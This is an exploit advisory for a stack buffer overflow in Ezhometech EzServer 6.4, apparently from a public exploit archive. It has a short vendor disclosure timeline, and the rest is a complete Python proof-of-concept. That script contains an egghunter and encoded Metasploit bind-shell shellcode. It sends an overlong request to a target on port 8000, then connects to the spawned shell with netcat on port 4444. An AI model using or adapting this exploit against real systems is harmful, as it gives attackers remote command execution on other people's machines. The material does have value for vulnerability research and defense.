Ezhometech Ezserver 6.4 Stack Overflow

2012-06-18 / 2012-06-19
Credit: modpr0be
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: Ezhometech EzServer <=6.4 Stack Overflow Vulnerability # Author: modpr0be # Contact: research[at]Spentera[dot]com # Platform: Windows # Tested on: Windows XP SP3 (OptIn), Windows 2003 SP2 (OptIn) # Software Link: http://www.ezhometech.com/buy_ezserver.htm # References: http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-stack-overflow-vulnerability/ ### Software Description # EZserver is a Video Server that stream Full HD to various devices. ### Vulnerability Details # Buffer overflow condition exist in URL handling, sending long GET request # will cause server process to exit and may allow malicious code injection. # Further research found that the application does not care about the HTTP method, # so that by sending long characters will make the program crash. ### Vendor logs: # 06/11/2012 - Bug found # 06/12/2012 - Vendor contacted # 06/16/2012 - No response from vendor, POC release. #!/usr/bin/python import sys import struct from socket import * from os import system from time import sleep hunt = ( "\x66\x81\xCA\xFF\x0F\x42\x52\x6A" "\x02\x58\xCD\x2E\x3C\x05\x5A\x74" "\xEF\xB8\x77\x30\x30\x74\x8B\xFA" "\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7") #windows/shell_bind_tcp - 751 bytes #http://www.metasploit.com #Encoder: x86/alpha_upper #AutoRunScript=, VERBOSE=false, EXITFUNC=process, LPORT=4444, shellcode = ("\x89\xe5\xda\xcf\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43" "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4c\x49\x45\x50" "\x35\x50\x53\x30\x35\x30\x4b\x39\x4a\x45\x36\x51\x38\x52\x33" "\x54\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x46\x32\x44\x4c\x4c\x4b" "\x30\x52\x45\x44\x4c\x4b\x33\x42\x37\x58\x44\x4f\x38\x37\x51" "\x5a\x57\x56\x50\x31\x4b\x4f\x36\x51\x4f\x30\x4e\x4c\x47\x4c" "\x53\x51\x43\x4c\x34\x42\x46\x4c\x37\x50\x49\x51\x38\x4f\x54" "\x4d\x53\x31\x38\x47\x4a\x42\x4a\x50\x36\x32\x56\x37\x4c\x4b" "\x56\x32\x44\x50\x4c\x4b\x37\x32\x37\x4c\x43\x31\x38\x50\x4c" "\x4b\x37\x30\x33\x48\x4b\x35\x59\x50\x54\x34\x31\x5a\x33\x31" "\x4e\x30\x36\x30\x4c\x4b\x30\x48\x52\x38\x4c\x4b\x56\x38\x57" "\x50\x53\x31\x4e\x33\x4a\x43\x57\x4c\x30\x49\x4c\x4b\x50\x34" "\x4c\x4b\x53\x31\x39\x46\x50\x31\x4b\x4f\x36\x51\x59\x50\x4e" "\x4c\x59\x51\x48\x4f\x34\x4d\x45\x51\x59\x57\x50\x38\x4b\x50" "\x53\x45\x5a\x54\x33\x33\x53\x4d\x4b\x48\x47\x4b\x33\x4d\x31" "\x34\x42\x55\x4a\x42\x46\x38\x4c\x4b\x36\x38\x31\x34\x45\x51" "\x38\x53\x55\x36\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x50\x58\x35" "\x4c\x43\x31\x59\x43\x4c\x4b\x34\x44\x4c\x4b\x35\x51\x48\x50" "\x4c\x49\x31\x54\x31\x34\x57\x54\x51\x4b\x31\x4b\x55\x31\x56" "\x39\x30\x5a\x50\x51\x4b\x4f\x4d\x30\x31\x48\x31\x4f\x30\x5a" "\x4c\x4b\x54\x52\x5a\x4b\x4d\x56\x51\x4d\x33\x58\x37\x43\x47" "\x42\x45\x50\x53\x30\x43\x58\x34\x37\x53\x43\x46\x52\x31\x4f" "\x50\x54\x52\x48\x30\x4c\x54\x37\x46\x46\x53\x37\x4b\x4f\x39" "\x45\x58\x38\x4c\x50\x55\x51\x43\x30\x45\x50\x37\x59\x58\x44" "\x46\x34\x56\x30\x53\x58\x31\x39\x4d\x50\x32\x4b\x45\x50\x4b" "\x4f\x58\x55\x36\x30\x56\x30\x56\x30\x46\x30\x47\x30\x46\x30" "\x31\x50\x46\x30\x55\x38\x4a\x4a\x44\x4f\x39\x4f\x4b\x50\x4b" "\x4f\x48\x55\x4d\x59\x59\x57\x50\x31\x59\x4b\x30\x53\x55\x38" "\x55\x52\x35\x50\x52\x31\x51\x4c\x4b\x39\x4a\x46\x32\x4a\x32" "\x30\x31\x46\x50\x57\x35\x38\x49\x52\x59\x4b\x56\x57\x53\x57" "\x4b\x4f\x39\x45\x30\x53\x51\x47\x52\x48\x4e\x57\x4d\x39\x37" "\x48\x4b\x4f\x4b\x4f\x49\x45\x51\x43\x50\x53\x30\x57\x35\x38" "\x44\x34\x5a\x4c\x47\x4b\x4b\x51\x4b\x4f\x49\x45\x56\x37\x4c" "\x49\x58\x47\x43\x58\x34\x35\x42\x4e\x50\x4d\x53\x51\x4b\x4f" "\x58\x55\x55\x38\x43\x53\x52\x4d\x33\x54\x55\x50\x4c\x49\x4b" "\x53\x51\x47\x46\x37\x31\x47\x36\x51\x4c\x36\x33\x5a\x42\x32" "\x31\x49\x46\x36\x5a\x42\x4b\x4d\x45\x36\x48\x47\x47\x34\x31" "\x34\x37\x4c\x55\x51\x33\x31\x4c\x4d\x30\x44\x47\x54\x44\x50" "\x48\x46\x35\x50\x30\x44\x30\x54\x30\x50\x46\x36\x51\x46\x56" "\x36\x37\x36\x46\x36\x30\x4e\x31\x46\x51\x46\x51\x43\x31\x46" "\x32\x48\x52\x59\x48\x4c\x57\x4f\x4b\x36\x4b\x4f\x38\x55\x4d" "\x59\x4d\x30\x50\x4e\x56\x36\x51\x56\x4b\x4f\x36\x50\x43\x58" "\x54\x48\x4c\x47\x55\x4d\x33\x50\x4b\x4f\x4e\x35\x4f\x4b\x4a" "\x50\x58\x35\x4f\x52\x36\x36\x53\x58\x49\x36\x4d\x45\x4f\x4d" "\x4d\x4d\x4b\x4f\x58\x55\x47\x4c\x43\x36\x53\x4c\x35\x5a\x4d" "\x50\x4b\x4b\x4d\x30\x54\x35\x55\x55\x4f\x4b\x57\x37\x35\x43" "\x32\x52\x52\x4f\x43\x5a\x45\x50\x51\x43\x4b\x4f\x4e\x35\x41" "\x41") junk1 = "\x41" * 5025 junk2 = "\x42" * 5029 junk3 = "\x43" * 10000 buff = "w00tw00t" buff+= shellcode buff+= "\x90" * 100 buff+= "\xeb\x08\x90\x90" buff+= struct.pack('<L', 0x10212779) buff+= "\x90" * 16 buff+= hunt buff+= "\x44" * 5000 def winxp(): try: host = raw_input("[!] Target IP: ") print "[!] Connecting to %s on port 8000" %host s = socket(AF_INET, SOCK_STREAM) s.connect((host,8000)) print "[+] Launching attack.." print "[+] Sending payload.." payload = junk1+buff s.send (payload) s.close() print "[+] Wait for hunter.." sleep(5) print "[+] Connecting to target shell!" sleep(2) system("nc -v %s 4444" %host) except: print "[x] Could not connect to the server x_x" sys.exit() def win2k3(): try: host = raw_input("[!] Target IP: ") print "[!] Connecting to %s on port 8000" %host s = socket(AF_INET, SOCK_STREAM) s.connect((host,8000)) print "[+] Launching attack.." print "[+] Sending payload.." payload = junk2+buff s.send(payload) s.close() print "[+] Wait for hunter.." sleep(5) print "[+] Connecting to target shell!" sleep(1) system("nc -v %s 4444" %host) except: print "[x] Could not connect to the server x_x" sys.exit() def crash(): try: host = raw_input("[!] Target IP: ") print "[!] Connecting to %s on port 8000" %host s = socket(AF_INET, SOCK_STREAM) s.connect((host,8000)) print "[+] Launching attack.." print "[+] Sending payload.." payload = junk3 s.send (payload) s.close() print "[+] Server should be crashed! Check your debugger" except: print "[x] Could not connect to the server x_x" sys.exit() print "#################################################################" print "# EZHomeTech EZServer <= 6.4.0.17 Stack Overflow Exploit #" print "# by modpr0be[at]spentera | @modpr0be #" print "# thanks to: otoy, cikumel, y0k | @spentera #" print "=================================================================" print "\t1.Windows XP SP3 (DEP OptIn) bindshell on port 4444" print "\t2.Windows 2003 SP2 (DEP OptIn) bindshell on port 4444" print "\t3.Crash only (debug)\n" a = 0 while a < 3: a = a + 1 op = input ("[!] Choose your target OS: ") if op == 1: winxp() sys.exit() elif op == 2: win2k3() sys.exit() elif op == 3: crash() sys.exit() else: print "[-] Oh plz.. pick the right one :)\r\n"

References:

http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-stack-overflow-vulnerability/


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